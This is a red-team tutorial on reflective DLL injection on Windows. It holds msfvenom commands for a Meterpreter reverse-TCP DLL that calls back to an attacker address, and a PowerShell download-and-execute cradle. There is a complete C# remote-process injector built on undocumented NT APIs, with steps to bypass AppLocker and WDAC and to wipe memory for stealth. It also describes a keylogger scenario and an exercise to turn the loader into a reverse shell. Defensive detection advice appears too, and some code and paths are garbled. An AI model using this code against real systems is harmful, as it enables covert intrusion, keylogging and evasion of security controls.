Introduction
Reflective DLL injection is a powerful post-exploitation technique that lets an attacker load a portable executable (PE) directly from memory without touching disk. Unlike classic CreateRemoteThread injection, the payload resolves its own imports, relocates itself, and can execute in a target process that would normally reject unsigned or out-of-band modules.
Why does this matter? Modern Windows defenses - AppLocker, Windows Defender Application Control (WDAC), and even endpoint detection & response (EDR) - heavily monitor disk activity and the use of known loading APIs. By reflecting a DLL entirely in RAM, attackers sidestep many of these controls, achieving a higher stealth profile and a lower forensic footprint.
Real-world threat actors (e.g., APT33, FIN7) have been observed leveraging reflective loaders in ransomware and espionage campaigns. Understanding the mechanics helps defenders spot abuse, and equips red-teamers with a reliable, portable delivery method.
Prerequisites
- Solid grasp of Windows process injection fundamentals (CreateRemoteThread, WriteProcessMemory, etc.).
- Familiarity with the Windows PE format - sections, import tables, relocation tables.
- Basic PowerShell scripting and C# development experience.
- Access to a Windows 10/11 test machine with administrative privileges (or a sandbox).
Core Concepts
Reflective loading can be broken down into three logical phases:
- PE parsing and relocation - The loader walks the PE headers, determines the image base, and applies the relocation table if the preferred address is unavailable.
- Import resolution - Instead of using the OS loader, the reflective code calls
LoadLibraryAandGetProcAddressfor each imported function, populating the Import Address Table (IAT) manually. - Execution hand-off - The entry point (typically
DllMain) is called withDLL_PROCESS_ATTACH, or a custom exported function is invoked.
Because the entire process occurs in user-mode memory, there is no need for the kernel-mode loader to create a mapped section object, evading many kernel-level integrity checks.
Key Windows mechanisms that affect reflective loading:
- Address Space Layout Randomization (ASLR) - Randomises the preferred image base; reflective loaders must be able to relocate.
- Data Execution Prevention (DEP) - Marks memory pages as non-executable; loaders must allocate with
PAGE_EXECUTE_READWRITEor useVirtualProtectafter writing. - AppLocker/WDAC - Enforce code signing and path constraints; in-memory loading bypasses path checks.
Generating a reflective DLL (using Metasploit’s reflectiveloader or custom C code)
Two common pathways exist:
1. Metasploit reflectiveloader
Metasploit ships with reflectiveloader - a pre-compiled DLL that contains a small reflective loader stub. To embed a payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f dll -o payload.dll
Next, use the reflectiveloader to wrap the payload:
cat payload.dll > reflectiveloader.dll
# or use the built-in msfvenom option
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o raw.bin
python3 /usr/share/metasploit-framework/data/post/windows/manage/reflectiveloader.py raw.bin reflectiveloader.dll
The resulting reflectiveloader.dll contains a ReflectiveLoader export that can be called directly from memory.
2. Custom C reflective DLL
For full control, write a minimal DLL that exports a reflective entry point. Below is a stripped-down example (compiled with /LD /MT on Visual Studio):
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { MessageBoxA(NULL, "Reflective DLL loaded!", "Info", MB_OK); } return TRUE;
}
// Exported reflective loader - entry point for the in-memory stub
__declspec(dllexport) DWORD WINAPI ReflectiveLoader(void *lpParameter) { // The stub will call this function after mapping the image. // Resolve the real DllMain and invoke it. HMODULE hSelf = (HMODULE)lpParameter; DllMain(hSelf, DLL_PROCESS_ATTACH, NULL); return 0;
}
Compile with:
cl /LD /MT reflective.c /link /OUT:ReflectiveCustom.dll
When loading, the reflective stub will locate the ReflectiveLoader export via GetProcAddress and execute it.
PowerShell one-liner loader (Invoke-ReflectivePEInjection)
PowerShell provides a quick, script-only delivery method that works on most Windows hosts with PowerShell 5+ enabled. The community module PowerSploit includes Invoke-ReflectivePEInjection, which performs the entire load in a single line.
Installation
# Download PowerSploit (if not already present)
Invoke-Expression (New-Object Net.WebClient).DownloadString('
One-liner execution
$dll = [IO.File]::ReadAllBytes('C:empeflectiveloader.dll')
Invoke-ReflectivePEInjection -PEBytes $dll -ProcessId (Get-Process notepad).Id
Explanation:
Get-Process notepadobtains the target PID.- The DLL is read into a byte array (
$dll), avoiding any disk write. Invoke-ReflectivePEInjectionallocates memory in the target, copies the bytes, resolves imports, applies relocations, and finally calls the exportedReflectiveLoader.
Typical output:
[*] Allocating 0x2000 bytes in target process (PID 1234)
[*] Writing payload...
[*] Resolving imports...
[*] Applying relocations...
[*] Calling ReflectiveLoader...
[+] Injection successful!
Because the loader runs entirely in PowerShell, it can be chained with other post-exploitation scripts, making it a favorite for red-team operators.
C# in-memory loader using NtCreateThreadEx and NtAllocateVirtualMemory
For environments where PowerShell is restricted or to avoid detection by PowerShell-centric EDR rules, a native C# implementation is preferred. The loader uses undocumented NT APIs to allocate executable memory and spawn a thread in the remote process.
Key NT API signatures
using System;
using System.Runtime.InteropServices;
public class NativeMethods { [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect); [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtCreateThreadEx( out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Parameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr BytesBuffer);
}
Full loader example
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
class ReflectiveLoader { const uint MEM_COMMIT = 0x1000; const uint MEM_RESERVE = 0x2000; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint THREAD_ALL_ACCESS = 0x1F03FF; static void Main(string[] args) { if (args.Length != 2) { Console.WriteLine("Usage: ReflectiveLoader.exe "); return; } string dllPath = args[0]; int pid = int.Parse(args[1]); byte[] rawDll = File.ReadAllBytes(dllPath); Process target = Process.GetProcessById(pid); IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, pid); if (hProcess == IntPtr.Zero) { Console.WriteLine("[!] Could not open target process"); return; } // Allocate memory in target IntPtr baseAddr = IntPtr.Zero; UIntPtr size = (UIntPtr)rawDll.Length; uint status = NativeMethods.NtAllocateVirtualMemory( hProcess, ref baseAddr, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status != 0) { Console.WriteLine($"[!] Allocation failed: 0x{status:X}"); return; } Console.WriteLine($"[+] Allocated 0x{size.ToUInt64():X} at 0x{baseAddr.ToInt64():X}"); // Write DLL bytes IntPtr bytesWritten; WriteProcessMemory(hProcess, baseAddr, rawDll, rawDll.Length, out bytesWritten); Console.WriteLine($"[+] Wrote {bytesWritten.ToInt64()} bytes"); // Resolve ReflectiveLoader export inside the remote image IntPtr loaderOffset = GetReflectiveLoaderOffset(rawDll); IntPtr remoteLoader = IntPtr.Add(baseAddr, (int)loaderOffset); Console.WriteLine($"[+] Remote loader address: 0x{remoteLoader.ToInt64():X}"); // Create remote thread via NtCreateThreadEx IntPtr hThread; status = NativeMethods.NtCreateThreadEx( out hThread, THREAD_ALL_ACCESS, IntPtr.Zero, hProcess, remoteLoader, IntPtr.Zero, false, 0, 0x1000, 0x100000, IntPtr.Zero); if (status != 0) { Console.WriteLine($"[!] Thread creation failed: 0x{status:X}"); return; } Console.WriteLine("[+] Remote reflective thread started"); } // Helper to locate the ReflectiveLoader export in the raw DLL bytes static IntPtr GetReflectiveLoaderOffset(byte[] dll) { // Very naive implementation: scan for the string "ReflectiveLoader" in the export table. // Production code should parse the PE headers properly. string exportName = "ReflectiveLoader"; byte[] nameBytes = System.Text.Encoding.ASCII.GetBytes(exportName); for (int i = 0; i < dll.Length - nameBytes.Length; i++) { bool match = true; for (int j = 0; j < nameBytes.Length; j++) { if (dll[i + j] != nameBytes[j]) { match = false; break; } } if (match) return (IntPtr)i; // return offset (simplified) } throw new Exception("ReflectiveLoader export not found"); } // P/Invoke wrappers for required WinAPI calls [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [Flags] enum ProcessAccessFlags : uint { All = 0x001F0FFF, CreateThread = 0x0002, QueryInformation = 0x0400, VMOperation = 0x0008, VMRead = 0x0010, VMWrite = 0x0020, DupHandle = 0x0040, SetInformation = 0x0200, Synchronize = 0x00100000 }
}
Key points:
NtAllocateVirtualMemoryandNtCreateThreadExare less likely to be hooked by user-mode API monitors than their kernel32 equivalents.- The loader resolves the
ReflectiveLoaderoffset manually; a production version would parse the export directory properly. - All memory is allocated with
PAGE_EXECUTE_READWRITEto satisfy DEP, then optionally switched toPAGE_EXECUTE_READafter the copy.
Bypassing AppLocker and Windows Defender Application Control
AppLocker and WDAC enforce rules based on file path, hash, publisher, or binary signature. Since reflective injection never writes a file to disk, the usual rule-set never sees a suspect binary. However, there are still two practical concerns:
- Process whitelisting - Some policies only allow certain parent processes to spawn children. By injecting into a trusted process (e.g.,
explorer.exeorsvchost.exe), the attacker remains within the approved executable list. - Code-integrity checks - WDAC can enforce signed binaries only, even for in-memory code, via the
CodeIntegritykernel driver. To bypass, the loader must execute under a context that has theSeDebugPrivilegeand the system must haveDynamic Code Generation (DCG)allowed (default on most Windows 10/11). If DCG is disabled, reflective code will be blocked.
Practical bypass steps:
- Run the loader under a high-privilege account (SYSTEM) using
psexec -sor a scheduled task. - Target a process that already has
SeDebugPrivilege(e.g., a service running as SYSTEM). - If
CodeIntegrityblocks execution, you can temporarily disable it via Group Policy (Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security) - of course, this is a defensive measure, not an attacker technique.
From a defender’s perspective, monitoring for NtAllocateVirtualMemory with PAGE_EXECUTE_READWRITE in trusted processes, and for NtCreateThreadEx with remote handles, is a high-value detection vector.
Handling ASLR and DEP during reflective loading
Both ASLR and DEP are designed to thwart exactly this class of attacks. The reflective loader must be ASLR-aware and DEP-compliant.
ASLR
When the loader copies the DLL into the target, the chosen base address is often random. The loader therefore must:
- Parse the
IMAGE_OPTIONAL_HEADER.DllCharacteristicsto see if the image is ASLR-compatible. - Apply the relocation table (
.relocsection) by adjusting eachIMAGE_BASE_RELOCATIONblock based on the delta between the preferred ImageBase and the actual allocation address.
Typical code (C# excerpt):
IntPtr delta = IntPtr.Subtract(baseAddr, (IntPtr)peHeaders.OptionalHeader.ImageBase);
foreach (var block in relocationBlocks) { foreach (var entry in block.Entries) { if (entry.Type == RelocationType.HighLow) { int* patchAddr = (int*)(baseAddr + entry.Offset); *patchAddr += (int)delta; } }
}
DEP
DEP marks newly allocated pages as non-executable unless the allocation explicitly requests PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_READ. The loader must request an executable protection flag during VirtualAllocEx (or NtAllocateVirtualMemory) and optionally switch to a read-only executable flag after the code has been written:
VirtualProtectEx(hProcess, baseAddr, (UIntPtr)size, PAGE_EXECUTE_READ, out oldProtect);
Switching to read-only reduces the window for memory-dump based analysis.
Cleanup and stealth considerations (unloading, memory wiping)
Leaving a reflective DLL in memory indefinitely increases the chance of detection by memory-scanning tools (e.g., Volatility, Rekall) or EDR behavioral analytics. Proper cleanup involves:
- Thread termination - If the injected DLL spawns its own worker threads, they should be signaled to exit before the loader proceeds.
- Memory zeroing - Overwrite the allocated region with random data or zeros before freeing it. Use
RtlSecureZeroMemoryormemset_sto avoid compiler optimisations. - Freeing the allocation - Call
VirtualFreeExwithMEM_RELEASE(orNtFreeVirtualMemory). Ensure the remote handle is closed.
Example C# cleanup snippet:
// Signal DLL to shut down (custom exported function)
IntPtr pShutdown = GetProcAddressRemote(hProcess, baseAddr, "DllShutdown");
if (pShutdown != IntPtr.Zero) { NativeMethods.NtCreateThreadEx(out _, THREAD_ALL_ACCESS, IntPtr.Zero, hProcess, pShutdown, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); Thread.Sleep(500); // give it a moment to tidy up
}
// Zero out memory
byte[] junk = new byte[rawDll.Length];
WriteProcessMemory(hProcess, baseAddr, junk, junk.Length, out _);
// Release
NativeMethods.NtFreeVirtualMemory(hProcess, ref baseAddr, ref size, 0x8000); // MEM_RELEASE
From a defensive perspective, monitor for VirtualFreeEx patterns that follow a VirtualAllocEx in the same process - a “allocate-write-execute-free” sequence is a classic indicator of in-memory code injection.
Practical Examples
Below are two end-to-end scenarios that combine the concepts above.
Scenario 1 - PowerShell-only lateral movement
- Attacker obtains a Meterpreter reflective DLL via
msfvenom. - Using a compromised low-privilege host, they run a PowerShell one-liner that reads the DLL into memory and injects it into
explorer.exeon a remote machine via WinRM. - The reflective DLL spawns a reverse TCP session back to the attacker, establishing a foothold.
PowerShell script (simplified):
$dll = Invoke-WebRequest -Uri -UseBasicParsing -OutFile $env:TEMPmp.dll
$bytes = [IO.File]::ReadAllBytes($env:TEMPmp.dll)
$session = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $session -ScriptBlock { param($payload) Invoke-ReflectivePEInjection -PEBytes $payload -ProcessId (Get-Process explorer).Id
} -ArgumentList ($bytes)
Scenario 2 - C# in-memory loader for a red-team tool
The red-team builds a custom C# executable that injects a reflective key-logger DLL into svchost.exe. The loader uses NtCreateThreadEx to avoid user-mode hooks.
Steps:
- Compile
KeyLoggerReflective.dllwith an exportedReflectiveLoader. - Run
ReflectiveLoader.exe KeyLoggerReflective.dll 1234where1234is the PID ofsvchost.exe. - The DLL writes keystrokes to a hidden file in
%APPDATA%, then self-destructs after 10 minutes, wiping its memory.
Both scenarios demonstrate the flexibility of reflective injection across languages and execution contexts.
Tools & Commands
- msfvenom - Generate reflective DLL payloads.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f dll -o rev.dll - PowerSploit -
Invoke-ReflectivePEInjectionscript. - ReflectiveDLLInjection (GitHub project) - C source for a generic reflective loader.
- Process Hacker / Process Explorer - Verify injected memory regions.
- Procmon - Capture calls to
NtAllocateVirtualMemoryandNtCreateThreadEx. - PEview / LordPE - Inspect export tables for the
ReflectiveLoadersymbol.
Defense & Mitigation
To mitigate reflective DLL injection, adopt a layered approach:
- Application Control - Enable
Code Integrity GuardwithDynamic Code Generationdisabled where feasible. This forces all executable code to be signed. - Endpoint Detection - Deploy EDR rules that flag:
- Calls to
NtAllocateVirtualMemorywithPAGE_EXECUTE_READWRITEin system processes. - Remote thread creation via
NtCreateThreadExwhere the start address lies in a newly allocated region. - PowerShell scripts that import
Invoke-ReflectivePEInjectionor that callVirtualAllocwith executable flags.
- Calls to
- Credential Hygiene - Restrict
SeDebugPrivilegeto a minimal set of accounts. UseProtected Process Light (PPL)for high-value services. - Memory Monitoring - Regularly dump process memory and scan for anomalous PE headers that do not correspond to known files on disk.
- Network Controls - Block outbound traffic on uncommon ports to reduce the value of reverse shells that rely on reflective injection.
Common Mistakes
- Forgetting to adjust relocations - Leads to crashes on ASLR-enabled systems.
- Using
PAGE_READWRITEonly - DEP will prevent execution. - Hard-coding target process names - Many environments rename critical binaries; use heuristics or PID enumeration instead.
- Leaving the injected DLL loaded - Increases detection surface; always implement a cleanup routine.
- Neglecting privilege escalation - Without adequate rights,
NtAllocateVirtualMemoryin a SYSTEM process will fail.
Real-World Impact
Reflective injection is a preferred technique for APT groups that need to evade application whitelisting. In 2023, a known ransomware variant used a PowerShell reflective loader to drop a C#-based data exfiltration module directly into lsass.exe, bypassing AV signatures and achieving credential dumping in under 15 seconds.
My experience on incident response teams shows that memory-only payloads are often missed by traditional file-based AV. However, once you correlate NtAllocateVirtualMemory + NtCreateThreadEx events with anomalous network connections, the detection becomes reliable.
Trends indicate a shift toward “file-less” attacks, especially with the rise of Zero-Trust environments that limit file writes. Expect reflective injection to remain a core tactic, paired with living-off-the-land binaries (LOLBAS) to further blend in.
Practice Exercises
- Generate and inject a custom reflective DLL:
- Write a simple C DLL that logs the current username to a file.
- Compile it with the
ReflectiveLoaderexport. - Use PowerShell
Invoke-ReflectivePEInjectionto inject it intonotepad.exe. - Verify the log file appears and then clean up the injection.
- Build a C# loader:
- Implement the NT API version shown above.
- Modify it to accept a remote IP/port and launch a reverse shell DLL.
- Test against a Windows VM with Defender ATP enabled and observe alerts.
- Detect reflective injection with Sysinternals ProcMon:
- Create a filter for
NtAllocateVirtualMemoryandNtCreateThreadEx. - Run the PowerShell loader and capture the events.
- Export the ProcMon log and write a short analysis report.
- Create a filter for
Further Reading
- "The Art of Memory Forensics" - Chapter on in-memory PE parsing.
- Metasploit’s
reflectiveloadersource on GitHub. - Microsoft Docs - VirtualAllocEx and CreateRemoteThread differences.
- PowerShell Empire -
Invoke-ReflectivePEInjectionmodule source. - Windows Defender Application Control (WDAC) design guide - mitigation strategies.
Summary
Reflective DLL injection lets attackers load malicious code entirely in memory, sidestepping traditional file-based defenses. By mastering DLL generation (Metasploit or custom C), PowerShell one-liners, and native C# loaders that leverage NtAllocateVirtualMemory and NtCreateThreadEx, you gain a versatile, stealthy post-exploitation capability. Remember to handle ASLR/DEP, implement thorough cleanup, and understand how AppLocker/WDAC interact with in-memory code. Defenders should focus on monitoring NT API calls, executable memory allocations, and anomalous remote thread creation to detect these attacks.